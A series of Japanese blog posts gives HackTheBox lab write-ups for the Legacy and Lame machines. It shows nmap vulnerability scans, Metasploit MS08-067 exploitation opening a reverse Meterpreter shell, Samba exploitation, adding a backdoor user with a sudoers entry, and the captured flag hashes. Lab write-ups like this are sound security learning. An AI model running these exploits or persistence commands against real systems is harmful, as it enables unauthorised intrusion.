HackTheBox WriteUp:Legacy

HackTheBox攻略対象2つ目
自身にとっては初めてのWindowsマシンでした

1.調査
nmapを用いて調査
今回は通常の調査に加え、ポート狙い撃ちで確認しました

kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ sudo nmap -sS -sV -A -p 1-20000 -T5 10.10.10.4
[sudo] kali のパスワード:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-17 08:04 EDT
Nmap scan report for 10.10.10.4
Host is up (0.16s latency).
Not shown: 19997 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (92%), General Dynamics embedded (88%)
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (92%), Microsoft Windows Server 2003 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP Professional SP2 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: -4h29m03s, deviation: 2h07m16s, median: -5h59m03s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:52:0b (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-06-17T12:08:26+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   155.75 ms 10.10.14.1
2   156.03 ms 10.10.10.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds




445ポートに対して狙い撃ち
kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ cat nmap_445.txt 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 19:24 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.17s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 51.73 seconds

脆弱性であるMS08-057を見つけたので、Metasploitによる侵入を試みた

2.侵入
Metasploitで下記スクリプトを用いて侵入を試みた

kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ msfconsole 
[!] The following modules were loaded with warnings:
[!]     /usr/share/metasploit-framework/modules/exploits/19671.rb
[!] Please see /home/kali/.msf4/logs/framework.log for details.
                                                  

  Metasploit Park, System Security Interface                                                                                                               
  Version 4.0.5, Alpha E                                                                                                                                   
  Ready...                                                                                                                                                 
  > access security                                                                                                                                        
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           
  YOU DIDN'T SAY THE MAGIC WORD!                                                                                                                           


       =[ metasploit v5.0.85-dev                          ]
+ -- --=[ 2003 exploits - 1093 auxiliary - 342 post       ]
+ -- --=[ 560 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Writing a custom module? After editing your module, why not try the reload command

msf5 > search MS08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


msf5 > use 0
msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4
msf5 exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.4:445 - The target is vulnerable.
msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.20:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (180291 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.20:4444 -> 10.10.10.4:1029) at 2020-06-19 19:31:14 -0400

meterpreter > 

攻撃が成功し、侵入することができた


3.探索
侵入した先のディレクトリに、さっそくroot.txtがありました
ほかのディレクトリも探索し、遅れてuser.txtを発見、これにて攻略終了です

meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  32    fil   2017-03-16 02:18:19 -0400  root.txt

meterpreter > pwd
C:\Documents and Settings\Administrator\Desktop
meterpreter > cd
Usage: cd directory
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  32    fil   2017-03-16 02:18:19 -0400  root.txt

meterpreter > cd ..
meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  Application Data
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  Cookies
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  Desktop
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  Favorites
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  Local Settings
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  My Documents
100666/rw-rw-rw-  524288  fil   2017-03-16 02:07:20 -0400  NTUSER.DAT
100666/rw-rw-rw-  1024    fil   2017-03-16 02:07:20 -0400  NTUSER.DAT.LOG
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  NetHood
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  PrintHood
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  Recent
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  SendTo
40555/r-xr-xr-x   0       dir   2017-03-16 02:07:20 -0400  Start Menu
40777/rwxrwxrwx   0       dir   2017-03-16 02:07:20 -0400  Templates
100666/rw-rw-rw-  178     fil   2017-03-16 02:07:21 -0400  ntuser.ini

meterpreter > cd ..
meterpreter > ls
Listing: C:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2017-03-16 02:07:20 -0400  Administrator
40777/rwxrwxrwx  0     dir   2017-03-16 01:20:29 -0400  All Users
40777/rwxrwxrwx  0     dir   2017-03-16 01:20:29 -0400  Default User
40777/rwxrwxrwx  0     dir   2017-03-16 01:32:52 -0400  LocalService
40777/rwxrwxrwx  0     dir   2017-03-16 01:32:42 -0400  NetworkService
40777/rwxrwxrwx  0     dir   2017-03-16 01:33:41 -0400  john

meterpreter > cd john 
meterpreter > ls
Listing: C:\Documents and Settings\john
=======================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  Application Data
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  Cookies
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  Desktop
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  Favorites
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  Local Settings
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  My Documents
100666/rw-rw-rw-  524288  fil   2017-03-16 01:33:41 -0400  NTUSER.DAT
100666/rw-rw-rw-  1024    fil   2017-03-16 01:33:41 -0400  NTUSER.DAT.LOG
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  NetHood
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  PrintHood
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  Recent
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  SendTo
40555/r-xr-xr-x   0       dir   2017-03-16 01:33:41 -0400  Start Menu
40777/rwxrwxrwx   0       dir   2017-03-16 01:33:41 -0400  Templates
100666/rw-rw-rw-  178     fil   2017-03-16 01:33:42 -0400  ntuser.ini

meterpreter > cd Desktop 
meterpreter > ls
Listing: C:\Documents and Settings\john\Desktop
===============================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  32    fil   2017-03-16 02:19:32 -0400  user.txt

meterpreter > 


以上

HackTheBox頑張る その4 ~nmapのvulnスクリプトとポート検索

マシン攻略の上で、nmapのスクリプト機能を使って脆弱性を確認しました
2つのやり方で表示に違いが出るか確認します
・・・というのも、前回複数ポートスキャンをしたとき、ポート単体でスキャンしたときに出てきた脆弱性が出てきてなかった気がしたんですよね・・・うーむ
ということで確認

・ポート複数

kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ sudo nmap -p 1-1000 --script vuln 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 20:30 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.32s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 82.14 seconds


・ポート単体

kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ sudo nmap -p 139 --script vuln 10.10.10.4
[sudo] kali のパスワード:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 19:47 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.17s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

結論からすると、ポートの指定数によらず結果は出てくるようだ。
ちなみに、実行結果が何回か出てこなかったことがあってちょっとよくわからない

ダメだった例

kali@kali:~/SyachinekoLab/workspace/HTB/Legacy$ sudo nmap -p 1-1000 --script vuln 10.10.10.4
[sudo] kali のパスワード:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 20:15 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.18s latency).
All 1000 scanned ports on 10.10.10.4 are filtered

なんかフィルターかかってる???
なんででしょう
同時アクセスだめだったりするんだろうか

この件について検索してみると、以下のサイトが
https://nmap.org/man/ja/man-port-scanning-basics.html

ほかの人が同じようにポートスキャン等してポートを占有してると出るらしい
今後これが出たら、時間をおいて再度打ってみようと思う

以上

HackTheBox頑張る その3 ~Windowsマシンのフォルダ構成とか

前回に引き続き・・・

SAMBAの脆弱性であるMS08-067をあてたので、Metasploitで試してみた

 

 

・・・が、ダメ

ペイロードが悪いのか、いくつか試してみたが。。。それもダメ

 

 

???

 

 

ということで、いったんその日はあきらめました

後日、マシンのとこにTransfer Machine Ownershipと書かれたボタンがあるのを発見

これを押して再度Metasploitやると・・・できた!!!!!なんで!?!?!?

 

 

 

ということで、初めてWindowsマシンの中へ潜入

ルートのフォルダ構成はこんな感じ

meterpreter > cd /
meterpreter > ls
Listing: C:\
============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 fil 2017-03-16 01:30:44 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2017-03-16 01:30:44 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2017-03-16 01:20:29 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2017-03-16 01:30:44 -0400 IO.SYS
100444/r--r--r-- 0 fil 2017-03-16 01:30:44 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-13 16:13:04 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2017-03-16 01:20:57 -0400 Program Files
40777/rwxrwxrwx 0 dir 2017-03-16 01:20:30 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2017-03-16 01:18:34 -0400 WINDOWS
100666/rw-rw-rw- 211 fil 2017-03-16 01:20:02 -0400 boot.ini
100444/r--r--r-- 250048 fil 2008-04-13 18:01:44 -0400 ntldr
265411620/rw--w---- 152555795244941295 fif 4843305010-03-23 01:32:48 -0400 pagefile.sys

 

さて、探したいのはユーザと管理者のホームディレクトリ的なところだ

 この中で、よく見るのはWINDOWSとか Documents and Settingsですかね

ということで、 Documents and Settingsの中身を見ると

 

 

meterpreter > ls
Listing: C:\Documents and Settings
==================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-03-16 02:07:20 -0400 Administrator
40777/rwxrwxrwx 0 dir 2017-03-16 01:20:29 -0400 All Users
40777/rwxrwxrwx 0 dir 2017-03-16 01:20:29 -0400 Default User
40777/rwxrwxrwx 0 dir 2017-03-16 01:32:52 -0400 LocalService
40777/rwxrwxrwx 0 dir 2017-03-16 01:32:42 -0400 NetworkService
40777/rwxrwxrwx 0 dir 2017-03-16 01:33:41 -0400 john


おぉ、こんな感じで表示されるのね!

ユーザはjohn、管理者はAdministratorとみた!

って感じで攻略できました。



次回はWalkthroughを書こうと思います。



以上

HackTheBox頑張る その2 ~SAMBAとかいろいろ

今回の攻略ではWindowsのマシンを扱います

その中でSAMBAというサービスが出てきたので、詳細を確認しました

 

SAMBAの解説記事は以下

https://www.atmarkit.co.jp/ait/articles/1612/01/news183.html

 

これによると、Linux上でWindowsファイルサーバを展開するためのソフトウェア?

・キーワード

ワークグループ...同一ネットワークに存在する集合体

Active Directory...アカウントを集中的に管理するサーバ(ドメインコントローラ) 

 

SAMBAサーバには、以下の2機能があるらしい

  • ファイル共有機能などを提供するsmbサービス
  • Microsoftネットワーク関連の一部機能を提供するnmbサービス

 

 

ところで、今回対象となるサーバはWindowsらしいが、

Sambaが入っているということなのだろうか???

 

nmapによるポートスキャン結果は以下の通り

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server

 

これまた別の参考資料

https://www.atmarkit.co.jp/ait/articles/1701/30/news029_2.html

 

 

139/TCP NETBIOS Session Service(netbios-ssn)
445/TCP Direct Hosting of SMB(microsoft-ds)

139 TCP NETBIOS-SSN

 →Session-Service

445 TCP MICROSOFT-DS

 →Direct Hosting of SMB

これらはSMB(アプリケーション)の下位プロトコル(トランスポート)だそうです

 

また、この辺探しているときに見つけた別資料

https://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/

 

これによると、TCP 139はMS17-10の脆弱性を持っているらしい

MS17-10は、Etarnal Blueらしい、、、、聞いたことあるなぁとっても。

 

searchsploitで確認してみたが、Windows XPはないみたい。

 

で、さらに別の資料を確認

https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/

※というかこれいまやってるマシンのWalkthroughじゃん。。。

 

 

以下nmapでやると脆弱性を探れるとかなんとか

nmap -p 445 --script vuln 10.10.10.4

 

 

オー、出たぞ

これでなんとか攻略できるかな???

 

以上

 

HackTheBox頑張る その1

前回一つのマシンのRootをとれたので、別のマシンに挑戦してます

Legacyというマシンですが、

Windowsということで、あまり触ったことのないものになります

 

今回は攻略にどれくらい時間かかるかなぁ

というか、攻略した後にまとめるのが大変なんだよな

 

さぁて、がんばってみましょう

 

 

HackTheBox WriteUp:Lame

HackTheBoxに課金を初めて、一番簡単なマシンを攻略しました

************************************************************************

・偵察

nmapにて対象のスキャンを行った

nmap -sS -sV -p 1-20000 10.10.10.3

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-14 11:14 EDT
Nmap scan report for 10.10.10.3
Host is up (0.21s latency).
Not shown: 19996 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 904.29 seconds


結果、動いている各種サービスを特定した

21 FTP
22 SSH
139 NetBIOS
445 NetBIOS
3632 DISTCCD

・侵入その1
ftpに対して、脆弱性を確認すべく検索を行った

searchsploit vsftpd

kali@kali:~/SyachinekoLab/workspace/HTB/Lame$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                  | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                            | exploits/unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

結果、特定のエクスプロイトを発見したため、Metasploitで試した
結果的に、これはうまくいかなかった


・侵入その2
その後、別のルートからの侵入を検討した結果、sambaに対して、脆弱性を確認すべく検索を行った

kali@kali:~/SyachinekoLab/workspace/HTB/Lame$ searchsploit samba 3.0.20
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                  | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                  | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                             | exploits/linux/remote/7701.txt
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

結果、特定のエクスプロイトを発見したため、Metasploitで試した
今度は、うまく動いてくれ、いきなりrootを奪取できたことを確認した


・探索
rootを奪取できたので、探索を行った
エクスプロイトした状態での探索が見づらかったので、ユーザを新たに作成し、sshで入りなおすこととした
この時、権限昇格が行えるように/etc/sudoersに権限を追加した

useradd test
passwd test
echo "test ALL=(ALL) ALL " >> /etc/sudoers

そのあと、以下のPATHでそれぞれフラグをゲットした

root@lame:/home/makis# cat user.txt 
69454a937d94f5f0225ea00acd2e84c5

root@lame:~# cat root.txt 
92caac3be140ef409e45721348a4e9df


※後から知ったが、nmapで-Aオプションを使うことで、sambaのバージョンを特定できた
 最初から特定のバージョンを指定できたので、今後はこれを使うこととする

以上

HackTheBox初root!

HackTheBoxに課金して、初めてRootをとることができた!

 

といっても、一番簡単なマシンなのでぶっちゃけ誰でもできる。。。のではあるが、

やっぱりまったくできなかったところからすると、まったく簡単でも出来たらうれしいものだ

 

今裏でWriteUpなるものを書いているが、

ぶっちゃけ超簡単であっても色々書かなくてはならず、結構大変だということが分かってきた

OSCPとか受けようとすると、こういうレポートを書かなければならないらしい

いまのうちからしっかり形式立てて書けるようにしたい

 


・今回学んだこと

Metasploitの基本操作
HackTheBoxのフラグ形式、提出等
etc/sudoresの書き込み、ユーザ作成

レポートの書き方

 

以上